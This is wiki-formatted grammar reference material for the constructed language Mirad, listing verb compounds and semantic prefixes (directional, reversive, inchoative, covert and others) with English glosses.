| '''nuxer'''....''to pay'' || '''bier'''....''to take'' || '''nuxbier'''....''to buy''
|-
| '''nixer'''....''to earn'' || '''buer'''....''to give'' || '''nixbuer'''....''to sell''
|-
| '''kexer'''....''to seek'' || '''bier'''....''to take'' || '''kexbier'''....''to choose''
|-
| '''uper'''....''to come'' || '''dier'''....''to ask'' || '''updier'''....''to invite''
|-
| '''teater'''....''to see'' || '''der'''....''to tell'' || '''teader'''....''to testify''
|-
| '''teeter'''....''to hear'' || '''drer'''....''to write'' || '''teadrer'''....''to report''
|-
| '''teater'''....''to see'' || '''per'''....''to go'' || '''teaper'''....''to visit''
|-
| '''texer'''....''to think'' || '''der'''....''to say'' || '''texder'''....''to mention''
|-
| '''kexer'''....''to seek'' || '''pixer'''....''to catch'' || '''kexpixer'''....''to hunt''
|-
| '''yeker'''....''to try'' || '''teexer'''....''to listen'' || '''yekteexer'''....''to try (in court)''
|}

== Verbs with Vectorial Prefixes ==

: Prepositions and directional adverbs can be prefixed to verbs in order to change their vectorial semantics. A preposition ending in '''b''' will assimilate by losing the '''b''' before the verb '''per'''....''to go'' or the verb '''ber'''.  This assimilation does not occur for other verbs beginning with '''b''' such as '''byexer''' (''to hit''). A preposition ending in '''b''' will, however, assimilate (lose the '''b''') before any verb bases beginning with a '''p'''. For example, '''ab''' (''on'') + '''bexer''' (''to hold'') = '''obbexer''' (''to hold on''), because '''obexer''' could be interpreted as ''to release''.  Here are some examples:

:{| class=&quot;wikitable sortable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Prepositional Prefixes
|-
! Preposition/Adverb !!  Transitive Verb !! Intransitive Verb
|-
| '''ab'''....''on'' || '''aber'''....''apply''&lt;br&gt;not '''abber'''! || '''aper'''....''get on''&lt;br&gt;not '''abper'''!
|-
| '''ob'''....''off'' || '''ober'''....''remove'' || '''oper'''....''get off, dismount''
|-
| '''ab'''....''off'' || '''abbaxrer'''....''to rub on'' || '''apyexer'''....''to attack''
|-
| '''eb'''....''between'' || '''eber'''....''block'' || '''eper'''....''intervene''
|-
| '''eb'''....''between'' || '''ebdrayefser'''....''to interleave'' || '''ebdrafxer'''....''to interleave''
|-
| '''ub'''....''toward'' || '''uber'''....''to send'' || '''uper'''....''to come''
|-
| '''ub'''....''toward'' || '''ubbixer'''...''to attract'' || '''upixer'''....''to pitch toward''
|-
| '''yab'''....''up'' || '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''yob'''....''down'' || '''yober'''....''take down'' || '''yoper'''....''descend''
|-
| '''yub'''....''near'' || '''yuber'''....''bring near'' || '''yuper'''....''approach''
|-
| '''yib'''....''far'' || '''yiber'''....''take away'' || '''yiper'''....''go far away''
|-
| '''yeb'''....''in'' || '''yeber'''....''insert'' || '''yeper'''....''enter''
|-
| '''yeb'''....''in''  || '''yepuxer'''....''throw in'' || '''yepuser'''....''jump in''
|-
| '''oyeb'''....''out'' || '''oyeber'''....''expose'' || '''oyeper'''....''exit''
|-
| '''oyeb'''....''out'' || '''oyebbuxer'''....''expel'' || '''oyepuxer'''....''eject''
|-
| '''zyu'''....''round''  || '''zyuber'''....''rotate'' || '''zyuper'''....''revolve''
|-
| '''zya'''....''throughout'' || '''zyaber'''....''spread'' || '''zyaper'''....''tour''
|-
| '''av'''....''for'' || '''avdaler'''....''plead'' || '''avper'''....''pursue''
|-
| '''ov'''....''against'' || '''ovber'''....''oppose'' || '''ovper'''....''countervene''
|-
| '''yan'''....''together'' || '''yanber'''....''compose'' || '''yanper'''....''meet''
|-
| '''yon'''....''apart'' || '''yonber'''....''separate'' || '''yonper'''....''separate''
|-
| '''iz'''....''direct'' || '''izber'''....''lead'' || '''izper'''....''head''
|-
| '''uz'''....''curved'' || '''uzber'''....''divert'' || '''uzper'''....''diverge''
|-
| '''yuz'''....''around'' || '''yuzber'''....''surround'' || '''yuzper'''....''circulate''
|-
| '''yiz'''....''beyond'' || '''yizber'''....''transfer'' || '''yizper'''....''surpass''
|-
| '''zoy'''....''back, re-'' || '''zoyber'''....''return'' || '''zoyper'''....''go back''
|}

== Other Semantics-altering Verb Prefixes ==
: As in English and many other languages, prefixes can be used on verbs to reverse, mitigate, or otherwise alter the semantics:

=== Expressing ''re-'' with '''zoy-''' or '''gaw-''' ===
: The prefix '''zoy-'''....''back'' or '''gaw-&lt;sup&gt;1&lt;/sup&gt;'''....''again''  are used like the English prefix ''re-'', eg.:

::* '''ember'''....''to position'' → '''&lt;u&gt;zoy&lt;/u&gt;-ember'''....''to &lt;u&gt;re&lt;/u&gt;position, &lt;u&gt;re&lt;/u&gt;place''
::* '''buer'''....''to give'' → '''&lt;u&gt;zoy&lt;/u&gt;buer'''....''to &lt;u&gt;re&lt;/u&gt;turn (an object), give back''
::* '''sanxer'''....''to shape, form'' → '''&lt;u&gt;zoy&lt;/u&gt;sanxer'''....''to &lt;u&gt;re&lt;/u&gt;shape, &lt;u&gt;re&lt;/u&gt;form, &lt;u&gt;trans&lt;/u&gt;form''
::* '''zyauber'''....''to broadcast'' → '''gawzyauber'''....''to re-broadcast''
::* '''taja'''....''born'' → '''gawtaja'''....''reborn''
::* '''aber'''....''to apply'' → '''gawaber'''....''to reapply''
::* '''teaper'''....''to visit'' → '''&lt;u&gt;gaw&lt;/u&gt;teaper'''....''to &lt;u&gt;re&lt;/u&gt;visit''
::* '''uper'''....''to come'' → '''&lt;u&gt;zoy&lt;/u&gt;-uper&lt;sup&gt;2&lt;/sup&gt;'''....''to &lt;u&gt;re&lt;/u&gt;turn, come &lt;u&gt;back&lt;/u&gt;''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zoy&lt;/u&gt;buxer'''....''to &lt;u&gt;re&lt;/u&gt;pel, push &lt;u&gt;back&lt;/u&gt;''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to &lt;u&gt;re&lt;/u&gt;ject, throw &lt;u&gt;back&lt;/u&gt;, jettison''
: Note 1:  The prefix '''gaw-''' before a consonant is pronounced like the ''gaw'' in the English word ''gawk''.  It is short for '''ga awa jod''' or '''gawa''' meaning ''one more time, again''.  If the &quot;re-&quot; word means ''to do something again'', then '''gaw-''' is used, eg. ''To reconvene'' ( = ''meet again'')....'''gawyanuper'''  If the sense of ''back'' is intended, than the prefix '''zoy-''' is used, eg. ''To return'' ( = ''come back'')....'''zoyuper'''. Both prefixes are used in the expression ''Come back again!''....'''Gawzoy-upu!'''.
: Note 2: The prefix '''zoy''' is followed by a hyphen to make it clear that the prepositon is '''zoy''', not '''zo''' and that the base verb is '''uper''' (''come''), not '''yuper''' (''to approach'').

:''Until we meet again'' or ''au revoir'' is expressed by '''Ju gawyanup.'''

=== Expressing ''de-, dis-, un-'' with '''lo-''' ===
: The prefix '''lo-''' reverses the semantics of a verb and is like English ''dis-'', ''de-'', or ''un-'', eg.:

::* '''sexer'''....''to build, construct'' → '''&lt;u&gt;lo&lt;/u&gt;sexer'''....''to &lt;u&gt;de&lt;/u&gt;stroy, &lt;u&gt;de&lt;/u&gt;construct''
::* '''anxer'''....''to unite'' → '''&lt;u&gt;lo&lt;/u&gt;anxer'''....''to &lt;u&gt;dis&lt;/u&gt;unite''
::* '''xer'''....''to do'' → '''&lt;u&gt;lo&lt;/u&gt;xer'''....''to &lt;u&gt;un&lt;/u&gt;do''

: Note the difference between '''o-''' and '''lo-'''.

::* '''odoparuwa'''....''&lt;u&gt;un&lt;/u&gt;armed'' (= ''not armed'')
::* '''lodoparuwa'''....''&lt;u&gt;dis&lt;/u&gt;armed'' (= from the verb '''lodoparuer'''....''to disarm'')

=== Expressing ''co-'' with '''yan-''' ===
: The prefix '''yan-'''....''together'' is used as the English ''co-'', eg.:

::* '''exer'''....''to operate'' → '''&lt;u&gt;yan&lt;/u&gt;exer'''....''to &lt;u&gt;co&lt;/u&gt;operate''
::* '''tamer'''....''to dwell'' → '''&lt;u&gt;yan&lt;/u&gt;tamer'''....''to &lt;u&gt;co&lt;/u&gt;habit''
::* '''napber'''....''to put in order'' → '''&lt;u&gt;yan&lt;/u&gt;napber'''....''to &lt;u&gt;co&lt;/u&gt;ordinate''

=== Making Verbs Completive with '''ik-''' ===
: Verbs can be made completive or perfective by prefixing them with '''ik-''' (''fully'').  Such verbs are comparable to phrasal verbs in English with ''up'' and other prepositions as in ''to eat up''.  Here are some examples in Mirad:
::* '''tojber'''....''to kill'' → '''iktojber'''....''to kill off, exterminate''
::* '''telier'''....''to eat'' → '''iktelier'''....''to eat up''
::* '''ujber'''....''to finish'' → '''ikujber'''....''to finish off/up''
::* '''gofler'''....''to rip'' → '''ikgofler'''....''to rip up''
::* '''drer'''....''to write'' → '''ikdrer'''....''to write down''
::* '''byexer'''....''to beat'' → '''ikbyexer'''....''to beat up''
::* '''agser'''....''to grow'' → '''ikagser'''....''to grow up''

=== Making Verbs Continuative with '''je-''' ===
: Verbs can be given a continuative nuance with the addition of the prefix '''je-''':
::* '''daler'''....''to talk'' → '''jedalar'''....''to go on talking, to blabber''
::* '''tejer'''....''to live'' → '''jetejer'''....''to go on living, to survive''
::* '''yexer'''....''to work'' → '''jeyexer'''....''to go on working, to keep working''
::* '''teaxer'''....''to look'' → '''jeteaxer'''....''to watch''
::* '''teexer'''....''to listen'' → '''jeteexer'''....''to keep listening, to pay attention''
::* '''duler'''....''to insist'' → '''jeduler'''....''to nag''

=== Making Verbs Inchoative with '''ij-''' ===
: Verbs can be given an inchoative nuance with the addition of the prefix '''ij-''':
::* '''texer'''....''to think'' → '''ijtexer'''....''to start to think''
::* '''ifier'''....''to enjoy'' → '''ijifier'''....''to start liking''
::* '''trer'''....''to know'' → '''ijtrer'''....''to get to know''
::* '''baxer'''....''to stir'' → '''ijbaxer'''....''to instigate''
::* '''byaxer'''....''to erect'' → '''ijbyaxer'''....''to establish, to institute''
::* '''dezer'''....''to perform'' → '''ijdezer'''....''to premier, to debut''
::* '''eser'''....''to exist'' → '''ijeser'''....''to come about''
::* '''kaxer'''....''to find'' → '''ijkaxer'''....''to invent''
::* '''magxer'''....''to burn'' → '''ijmagxer'''....''to kindle''
::* '''saxer'''....''to make'' → '''ijsaxer'''....''to create''
::* '''texer'''....''to think'' → '''ijtexer'''....''to conceive''
::* '''tuxer'''....''to teach'' → '''ijtuxer'''....''to initiate''
::* '''xeler'''....''to celebrate'' → '''ijxeler'''....''to inaugurate''

=== Making Verbs Terminative with '''uj-''' ===
: Verbs can be given a terminative nuance with the addition of the prefix '''uj-''':
::* '''telier'''....''to eat'' → '''ujtelier'''....''to finish eating''
::* '''dyeer'''....''to read'' → '''ujdyeer'''....''to finish reading''
::* '''ufteuder'''....''to complain'' → '''ujufteuder'''....''to quit carping''
::* '''aker'''....''to win'' → '''ujaker'''....''to succeed''
::* '''der'''....''to say'' → '''ujder'''....''to conclude''
::* '''gaber'''....''to add'' → '''ujgaber'''....''to append, to added at the end''
::* '''gyoxer'''....''to thin'' → '''ujgyoxer'''....''to taper''
::* '''kyeser'''....''to happen'' → '''ujkyeser'''....''to turn out''
::* '''oker'''....''to lose'' → '''ujoker'''....''to fail''

=== Giving Verbs a Nuance of Pleasure with '''if-''' ===
::* '''tyoper'''....''to walk'' → '''iftyoper'''....''to stroll''
::* '''tuyuxer'''....''to finger'' → '''iftuyuxer'''....''to tickle''
::* '''teaxer'''....''to look'' → '''ifteaxer'''....''to ogle (voyeuristically)''
::* '''piper'''....''to sail'' → '''ifpiper'''....''to go cruising''
::* '''teuder'''....''to shout'' → '''ifteuder'''....''to laugh''
::* '''eker'''....''to play'' → '''ifeker'''....''to have fun''

=== Giving Verbs a Nuance of Displeasure with '''uf-''' ===
::* '''tosier'''....''to feel'' → '''uftosier'''....''to get angry''
::* '''eker'''....''to play'' → '''ufeker'''....''to fight''
::* '''der'''....''to say'' → '''ufder'''....''to express displeasure''
::* '''aluer'''....''to exhale'' → '''ufaluer'''....''to huff''
::* '''daler'''....''to talk'' → '''ufdaler'''....''to rant''

=== Giving Verbs a Nuance of Prohibition with '''of-''' ===
::* '''bier'''....''to take'' → '''ofbier'''....''to steal''
::* '''deler'''....''to declare'' → '''ofdeler'''....''to ban''
::* '''yeper'''....''to enter'' → '''ofyeper'''....''to intrude, break in''
::* '''zeyper'''....''to cross'' → '''ofzeyper'''....''to transgress, poach''
::* '''gelxer'''....''to copy'' → '''ofgelxer'''....''to pirate, plagiarize''
::* '''bekuluer'''....''to administer medicine'' → '''ofbekuluer'''....''to dope''
::* '''nuxuer'''....''to pay'' → '''ofnuxuer'''....''to bribe, pay off, suborn''

=== Giving Verbs a Nuance of Holiness with '''fya-''' ===
::* '''bexler'''....''to keep'' → '''fyabexler'''....''to enshrine''
::* '''buer'''....''to give'' → '''fyabuer'''....''to sacrifice''
::* '''der'''....''to say'' → '''fyader'''....''to bless''
::* '''daler'''....''to speak'' → '''fyadaler'''....''to preach, sermonize''
::* '''diler'''....''to request'' → '''fyadiler'''....''to pray''
::* '''deuzer'''....''to sing'' → '''fyadeuzer'''....''to chant''
::* '''ifrer'''....''to love dearly'' → '''fyaifrer'''....''to worship, adore''
::* '''jader'''....''to predict'' → '''fyajader'''....''to prophesy''
::* '''miluer'''....''to sprinkle'' → '''fyamiluer'''....''to sprinkle with holy water''
::* '''ojvader'''....''to promise'' → '''fyaojvader'''....''to swear''
::* '''xeler'''....''to practice'' → '''fyaxeler'''....''to celebrate''
::* '''koser'''....''to hide'' → '''fyakoser'''....''to go on a retreat, go into hermitage''
::* '''teazer'''....''perform a show'' → '''fyateazer'''....''to perform a miracle''

=== Giving Verbs a Nuance of Profanity with '''fyo-''' ===
::* '''der'''....''to say'' → '''fyoder'''....''to curse''
::* '''diler'''....''to request'' → '''fyodiler'''....''to conjure''
::* '''tyezer'''....''to perform magic'' → '''fyotezer'''....''to engage in black magic''
::* '''xer'''....''to do'' → '''fyoxer'''....''to sin''
=== Expressing Good Actions with '''fi-''' ===
::* '''der'''....''to say'' → '''fider'''....''to praise''
::* '''fer'''....''to want'' → '''fifer'''....''to mean well''
::* '''xer'''....''to do'' → '''fixer'''....''to do well''
::* '''yaker'''....''to expect'' → '''fiyaker'''....''to hope''
::* '''yuxer'''....''to help'' → '''fiyuxer'''....''to benefit''
=== Expressing Bad Actions with '''fu-''' ===
::* '''yevder'''....''to judge'' → '''fuyevder'''....''to critique negatively''
::* '''fer'''....''to want'' → '''fufer'''....''to will ill''
::* '''der'''....''to say'' → '''fuder'''....''to badmouth''
::* '''napxer'''....''to arrange'' → '''funapxer'''....''to mess up''
::* '''yuxer'''....''to help'' → '''fuyuxer'''....''to abuse''

=== Expressing More Intense Actions with '''az-''' ===
::* '''yujber'''....''to close'' → '''&lt;u&gt;az&lt;/u&gt;yujber'''....''to lock''
::* '''der'''....''to say'' → '''&lt;u&gt;az&lt;/u&gt;der'''....''to emphasize''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;az&lt;/u&gt;duer'''....''to urge''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;az&lt;/u&gt;dizeuder'''....''to guffaw''
=== Expressing Less Intense Actions with '''oz-''' ===
::* '''der'''....''to utter'' → '''&lt;u&gt;oz&lt;/u&gt;der'''....''to whisper''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;oz&lt;/u&gt;duer'''....''to hint''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;oz&lt;/u&gt;dizeuder'''....''to chuckle''
::* '''uvteuder'''....''to moan'' → '''&lt;u&gt;oz&lt;/u&gt;uvteuder'''....''to whimper''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;oz&lt;/u&gt;tyoper'''....''to limp''
=== Expressing ''pre-, fore-'' with '''ja-''' ===
::* '''der'''....''to tell'' → '''&lt;u&gt;ja&lt;/u&gt;der'''....''to foretell, predict''
::* '''teater'''....''to see'' → '''&lt;u&gt;ja&lt;/u&gt;teater'''....''to foresee, preview''
::* '''ter'''....''to know'' → '''&lt;u&gt;ja&lt;/u&gt;ter'''....''to presage, have foreknowledge of''
::* '''yever'''....''to judge'' → '''&lt;u&gt;ja&lt;/u&gt;yever'''....''to prejudge''
::* '''juder'''....''to date'' → '''&lt;u&gt;ja&lt;/u&gt;juder'''....''to antedate''
=== Expressing ''post-, after-'' with '''jo-''' ===
::* '''juder'''....''to date'' → '''&lt;u&gt;jo&lt;/u&gt;juder'''....''to postdate''
::* '''texer'''....''to think'' → '''&lt;u&gt;jo&lt;/u&gt;texer'''....''to reflect on, review''
::* '''uvder'''....''to express sadness'' → '''&lt;u&gt;jo&lt;/u&gt;uvder'''....''to mourn, regret''
::* '''ibler'''....''to obtain'' → '''&lt;u&gt;jo&lt;/u&gt;ibler'''....''to inherit''

=== Expressing ''excessively'' with '''gra-''' ===
::* '''telier'''....''to eat'' → '''&lt;u&gt;gra&lt;/u&gt;telier'''....''to overeat''
::* '''fer'''....''to want'' → '''&lt;u&gt;gra&lt;/u&gt;fer'''....''to covet''
::* '''der'''....''to say'' → '''&lt;u&gt;gra&lt;/u&gt;der'''....''to exaggerate''
::* '''daler'''....''to talk'' → '''&lt;u&gt;gra&lt;/u&gt;daler'''....''to yammer''

=== Expressing ''inadequately'' with '''gro-''' ===
::* '''fyinder'''....''to value'' → '''&lt;u&gt;gro&lt;/u&gt;fyinder'''....''to underestimate''
::* '''mageler'''....''to cook'' → '''&lt;u&gt;gro&lt;/u&gt;mageler'''....''to undercook''
::* '''xaer'''....''to perform'' → '''&lt;u&gt;gro&lt;/u&gt;xaer'''....''to underperform''

=== Expressing ''counter-, contra-'' with '''ov-''' or '''oyv-''' ===
::* '''axler'''....''to act''  → '''&lt;u&gt;ov&lt;/u&gt;axler'''....''to counteract''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ov&lt;/u&gt;apyexer'''....''to counterattack''
::* '''daler'''....''to speak'' → '''&lt;u&gt;ov&lt;/u&gt;daler'''....''to oppose''
::* '''der'''....''to say'' → '''&lt;u&gt;oyv&lt;/u&gt;der'''....''to contradict''
::* '''ber'''....''to put'' → '''&lt;u&gt;oyv&lt;/u&gt;ber'''....''to reverse, overturn''
::* '''texer'''....''to think''  → '''&lt;u&gt;oyv&lt;/u&gt;texer'''....''to contest, disagree''
::* '''per'''....''to go'' → '''&lt;u&gt;oyv&lt;/u&gt;per'''....''to contravene''
=== Expressing ''on behalf, for'' with '''av-''' ===
::* '''axler'''....''to act'' → '''&lt;u&gt;av&lt;/u&gt;axler'''....''to act on behalf of''
::* '''daler'''....''to speak'' → '''&lt;u&gt;av&lt;/u&gt;daler'''....''to advocate, speak on behalf of''
::* '''dyundrer'''....''to sign'' → '''&lt;u&gt;av&lt;/u&gt;dyundrer'''....''to endorse''

=== Making Verbs Reflexive with '''ut-''' (''self-, auto-'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;ut&lt;/u&gt;tojber'''....''to commit suicide''
::* '''vyovider'''....''to flatter'' → '''&lt;u&gt;ut&lt;/u&gt;vyovider'''....''to flatter oneself''
::* '''zaypuxwer'''....''to be propelled'' → '''&lt;u&gt;ut&lt;/u&gt;zaypuxwer'''....''to be self-propelled''
::* '''fider'''....''to praise'' → '''&lt;u&gt;ut&lt;/u&gt;fider'''....''to brag''
::* '''gober'''....''to decrement'' → '''&lt;u&gt;ut&lt;/u&gt;gober'''....''to autodecrement''
=== Making Verbs Reciprocal with '''hyuit-''' (''one another'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;hyuit&lt;/u&gt;tojber'''....''to kill one another''
::* '''ifer'''....''to love'' → '''&lt;u&gt;hyuit&lt;/u&gt;ifer'''....''to love one another''

=== Expressing ''inter-, intra-'' with '''eb-''' (''between'') ===
::* '''tadier'''....''to marry'' → '''&lt;u&gt;eb&lt;/u&gt;tadier'''....''to intermarry''
::* '''zyaber'''....''to spread'' → '''&lt;u&gt;eb&lt;/u&gt;zyaber'''....''to intersperse''
::* '''vyexer'''....''to relate'' → '''&lt;u&gt;eb&lt;/u&gt;vyexer'''....''to interrelate''

=== Expressing the Opposite of an Action with '''o-''' (''un-'') ===
::* '''bexler'''....''to keep'' → '''&lt;u&gt;o&lt;/u&gt;bexler'''....''to release, let go of''
::* '''aynser'''....''to integrate'' → '''&lt;u&gt;o&lt;/u&gt;aynser'''....''to disintegrate, to decay''
::* '''beler'''....''to carry'' → '''&lt;u&gt;o&lt;/u&gt;beler'''....''to drop''
::* '''bier'''....''to take'' → '''&lt;u&gt;o&lt;/u&gt;bier'''....''to leave, relinquish''
::* '''boser'''....''to be quiet'' → '''&lt;u&gt;o&lt;/u&gt;boser'''....''to be upset''
::* '''drer'''....''to write'' → '''&lt;u&gt;o&lt;/u&gt;drer'''....''to erase''

::&lt;small&gt;Note: If the base verb already begins with the negative prefix '''o-''', then the prefix is changed to '''ol-''', eg. '''obexler'''....''to release'' → '''&lt;u&gt;ol&lt;/u&gt;obexwa'''....''to unrelease''  &lt;/small&gt;

=== Expressing a Public or Official Action with '''do-''' ===
:: '''Do-''' is a stub for '''dot''' (''society'').

::* '''afder'''....''to allow'' → '''&lt;u&gt;do&lt;/u&gt;afder'''....''to authorize''
::* '''bier'''....''to take'' → '''&lt;u&gt;do&lt;/u&gt;bier'''....''to conquer, take over, take control of''
::* '''tojber'''....''to kill'' → '''&lt;u&gt;do&lt;/u&gt;tojber'''....''to execute''
::* '''buer'''....''to give'' → '''&lt;u&gt;do&lt;/u&gt;buer'''....''to dedicate''
::* '''daler'''....''to speak'' → '''&lt;u&gt;do&lt;/u&gt;daler'''....''to orate, speak in public''
::* '''deler'''....''to declare'' → '''&lt;u&gt;do&lt;/u&gt;deler'''....''to announce''
::* '''drer'''....''to write'' → '''&lt;u&gt;do&lt;/u&gt;drer'''....''to publicize, report''

=== Giving Verbs a Nuance of Truth with '''vya-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vya&lt;/u&gt;der'''....''to avow, be frank''
::* '''ber'''....''to set, put'' → '''&lt;u&gt;vya&lt;/u&gt;ber'''....''to control''
::* '''napxer'''...''to arrange, order'' → '''&lt;u&gt;vya&lt;/u&gt;napxer'''....''to adjust''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;vya&lt;/u&gt;kexer'''....''to investiage''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vya&lt;/u&gt;tuer'''....''to advise''

=== Giving Verbs of Nuance of Falseness with '''vyo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vyo&lt;/u&gt;der'''....''to lie, to misstate''
::* '''tester'''....''to understand'' → '''&lt;u&gt;vyo&lt;/u&gt;tester'''....''to misunderstand''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vyo&lt;/u&gt;tuer'''....''to misinform, to deceive''
::* '''xer'''....''to do'' → '''&lt;u&gt;vyo&lt;/u&gt;xer'''....''to do wrong, fail, misdo''
::* '''yuxler'''....''to serve'' → '''&lt;u&gt;vyo&lt;/u&gt;yuxler'''....''to betray, to serve unfaithfully''
=== Making Verbs Positive with '''va-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;va&lt;/u&gt;der'''....''to affirm''
::* '''texer'''....''to think'' → '''&lt;u&gt;va&lt;/u&gt;texer'''....''to believe''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;va&lt;/u&gt;yeker'''....''to presume''
::* '''bier'''.....''to take'' → '''&lt;u&gt;va&lt;/u&gt;bier'''....''to accept''
=== Making Verbs Negative with '''vo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vo&lt;/u&gt;der'''....''to deny''
::* '''texer'''....''to think'' → '''&lt;u&gt;vo&lt;/u&gt;texer'''....''to doubt''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;vo&lt;/u&gt;yeker'''....''to rule out''
::* '''bier'''.....''to take'' → '''&lt;u&gt;vo&lt;/u&gt;bier'''....''to reject''
=== Making Verbs Suppositional with '''ve-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;ve&lt;/u&gt;der'''....''to conjecture''
::* '''texer'''....''to think'' → '''&lt;u&gt;ve&lt;/u&gt;texer'''....''to suppose, hypothesize''
::* '''yovder'''....''to blame'' → '''&lt;u&gt;ve&lt;/u&gt;yovder'''....''to indict, accuse''
=== Speeding up Verbs with '''ig-''' ===
::* '''pier'''....''to leave'' → '''&lt;u&gt;ig&lt;/u&gt;pier'''....''to flee''
::* '''pyoser'''....''to drop'' → '''&lt;u&gt;ig&lt;/u&gt;pyoser'''....''to plummet''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ig&lt;/u&gt;tyoper'''....''to run''
::* '''yeper'''....''to enter'' → '''&lt;u&gt;ig&lt;/u&gt;yeper'''....''to rush in''
=== Slowing up Verbs with '''ug-''' ===
::* '''paser'''....''to move'' → '''&lt;u&gt;ug&lt;/u&gt;paser'''....''to amble''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ug&lt;/u&gt;teaxer'''....''to gaze''
::* '''ilper'''....''to flow'' → '''&lt;u&gt;ug&lt;/u&gt;ilper'''....''to trickle''
::* '''tilier'''....''to drink'' → '''&lt;u&gt;ug&lt;/u&gt;tilier'''....''to sip''
=== Expressing the Nuance of Suddenness with '''yok-''' ===
::* '''baxer'''....''to stir'' → '''&lt;u&gt;yok&lt;/u&gt;baxer'''....''to startle''
::* '''hihider'''....''to laugh'' → '''&lt;u&gt;yok&lt;/u&gt;hihider'''....''to burst out laughing''
::* '''teaser'''....''to appear'' → '''&lt;u&gt;yok&lt;/u&gt;teaser'''....''to suddenly appear''
::* '''yoktojer'''....''to die'' → '''&lt;u&gt;yok&lt;/u&gt;tojer'''....''to drop dead''
=== Expressing the Notion of Fixedness with '''kyo-''' ===
::* '''byaser'''....''to stand'' → '''&lt;u&gt;kyo&lt;/u&gt;byaser'''....''to stand still''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;kyo&lt;/u&gt;kexer'''....''to hound, stalk''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;kyo&lt;/u&gt;teaxer'''....''to stare, glare''
::* '''texer'''....''to think'' → '''&lt;u&gt;kyo&lt;/u&gt;texer'''....''to obsess with, fixate on''
=== Expression the Notion of Randomness or Chance with '''kye-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;kye&lt;/u&gt;der'''....''to guess, divine''
::* '''per'''....''to per'' → '''&lt;u&gt;kye&lt;/u&gt;per'''....''to fluctuate''
::* '''poper'''....''to travel'' → '''&lt;u&gt;kye&lt;/u&gt;poper'''....''to wander''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kye&lt;/u&gt;napxer'''....''to scramble, shuffle''
::* '''bier'''....''to take'' → '''&lt;u&gt;kye&lt;/u&gt;bier'''....''to select''
::* '''kaxer'''....''to find'' → '''&lt;u&gt;kye&lt;/u&gt;kaxer'''....''to discover, to find by chance''
::* '''vyabxer'''....''to check'' → '''&lt;u&gt;kye&lt;/u&gt;vabxer'''....''to spot check''

=== Expressing the Notion of Change with '''kya-''' ===
::* '''baser'''....''to make a move'' → '''&lt;u&gt;kya&lt;/u&gt;baser'''....''to shift''
::* '''sanxer'''....''to form'' → '''&lt;u&gt;kya&lt;/u&gt;sanxer'''....''to transform''
::* '''xer'''....''to do/make'' → '''&lt;u&gt;kya&lt;/u&gt;xer'''....''to change''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kya&lt;/u&gt;napxer'''....''to shuffle''
::* '''dyanxer'''....''to phrase'' → '''&lt;u&gt;kya&lt;/u&gt;dyanxer'''....''to paraphrase''
=== Expressing Covert Actions with '''ko-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ko&lt;/u&gt;ber'''....''to hide''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ko&lt;/u&gt;beler'''....''to smuggle''
::* '''bier'''....''to take'' → '''&lt;u&gt;ko&lt;/u&gt;bier'''....''to steal''
::* '''ebkyaxer'''....''to exchange'' → '''&lt;u&gt;ko&lt;/u&gt;ebkyaxer'''....''to traffic''
::* '''exer'''....''to operate'' → '''&lt;u&gt;ko&lt;/u&gt;exer'''....''to spy, operate under cover''
::* '''fler'''....''to wish for'' → '''&lt;u&gt;ko&lt;/u&gt;fler'''....''to covet, be jealous of''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ko&lt;/u&gt;apyexer'''....''to ambush, to sneak-attack''
::* '''loexer'''....''to destroy'' → '''&lt;u&gt;ko&lt;/u&gt;loexer'''....''to sabotage''
=== Expressing Actions with Intentionality with '''ke-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ke&lt;/u&gt;teaxer'''....''to scan''
::* '''vyaxer'''....''to prove'' → '''&lt;u&gt;ke&lt;/u&gt;vyaxer'''....''to experiment''
::* '''tier'''....''to learn'' → '''&lt;u&gt;ke&lt;/u&gt;tier'''....''to be interested in''
::* '''bier'''....''to take'' → '''&lt;u&gt;ke&lt;/u&gt;bier'''....''to choose''
::* '''pexer'''....''to catch'' → '''&lt;u&gt;ke&lt;/u&gt;pexer'''....''to hunt''

=== Expressing Lateral Actions with '''ku-''' ===
::* '''buxer'''....''to push'' → '''&lt;u&gt;ku&lt;/u&gt;buxer'''....''to rebuff, shun''
::* '''der'''....''to say'' → '''&lt;u&gt;ku&lt;/u&gt;der'''....''to comment, remark''
::* '''tyoper'''....''to step'' → '''&lt;u&gt;ku&lt;/u&gt;tyoper'''....''to step aside''
=== Expressing Diagonal Actions with '''ki-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ki&lt;/u&gt;teaxer'''....''to look askance at''
::* '''tuxer'''....''to teach'' → '''&lt;u&gt;ki&lt;/u&gt;tuxer'''....''to brainwash''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ki&lt;/u&gt;tyoper'''....''to limp''
